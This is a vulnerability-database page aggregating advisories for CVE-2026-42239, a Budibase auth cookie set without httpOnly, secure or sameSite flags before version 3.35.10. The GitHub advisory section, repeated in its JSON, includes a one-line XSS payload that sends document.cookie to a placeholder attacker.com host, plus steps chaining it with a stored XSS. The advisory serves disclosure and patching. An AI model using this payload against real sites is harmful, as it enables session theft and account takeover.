Vulnerability-Lookup

CVE-2026-42239 (GCVE-0-2026-42239)

Vulnerability from cvelistv5 – Published: 2026-05-07 18:49 – Updated: 2026-05-07 19:39

Title

Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover

Summary

Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-07 19:39 UTC

CWE

CWE-1004 - Sensitive Cookie Without 'HttpOnly' Flag

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/Budibase/budibase/security/adv…	x_refsource_CONFIRM
https://github.com/Budibase/budibase/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Budibase	budibase	Affected: < 3.35.10	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-42239

Vulnerability from fkie_nvd - Published: 2026-05-07 20:16 - Updated: 2026-06-17 10:47

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/Budibase/budibase/releases/tag/3.35.10	Patch, Release Notes
security-advisories@github.com	https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	budibase	budibase	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "budibase",
          "vendor": "Budibase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.35.10"
            }
          ]
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      "source": "security-advisories@github.com"
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            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover \u2014 the attacker steals the JWT and has persistent access to the victim\u0027s account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10."
    }
  ],
  "id": "CVE-2026-42239",
  "lastModified": "2026-06-17T10:47:33.977",
  "metrics": {
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          "integrityImpact": "HIGH",
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          "scope": "CHANGED",
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          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
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GHSA-4F9J-VR4P-642R

Vulnerability from github – Published: 2026-04-24 16:18 – Updated: 2026-05-11 13:29

Summary

Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover

Details

Summary

The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.

Details

packages/backend-core/src/utils/utils.ts, lines 215-226:

const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)

This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.

Missing flags: - httpOnly: false → should be true (prevent JS access) - No secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments) - No sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')

PoC

Any XSS payload can steal the session:

// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could: 1. Create an entity with a name containing <script> payload 2. Any user who views that entity has their JWT stolen 3. Attacker uses the JWT for persistent account access

Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

ATTACHMENTS

BUDIBASE-TOP10-REPORT.md

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/backend-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.35.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:18:52Z",
    "nvd_published_at": "2026-05-07T20:16:44Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 \u2014 stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover \u2014 the attacker steals the JWT and has persistent access to the victim\u0027s account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n  expires: MAX_VALID_DATE,\n  path: \"/\",\n  httpOnly: false,     // \u2190 JavaScript can read the session JWT\n  overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n  config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` \u2192 should be `true` (prevent JS access)\n- No `secure` flag \u2192 cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` \u2192 susceptible to cross-site request attachment (should be `sameSite: \u0027lax\u0027`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker\u0027s XSS payload \u2014 steals session and sends to attacker server\nnew Image().src = \u0027https://attacker.com/steal?cookie=\u0027 + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `\u003cscript\u003e` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability \u2014 past, present, and future \u2014 becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---",
  "id": "GHSA-4f9j-vr4p-642r",
  "modified": "2026-05-11T13:29:32Z",
  "published": "2026-04-24T16:18:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.35.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase auth session cookies are set with httpOnly:false \u2014 any XSS can lead to full account takeover"
}

WID-SEC-W-2026-1412

Vulnerability from csaf_certbund - Published: 2026-05-07 22:00 - Updated: 2026-05-07 22:00

Summary

Budibase: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen und potenziell Privilegieneskalation

Severity

Hoch

Scope

1 vulnerability in this advisory, including CVE-2026-42239.

CVE-2026-42239

Known affected: 1 product

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-42239 (GCVE-0-2026-42239)

FKIE_CVE-2026-42239

GHSA-4F9J-VR4P-642R

Summary

Details

PoC

Impact

ATTACHMENTS

WID-SEC-W-2026-1412

Tags

Sightings

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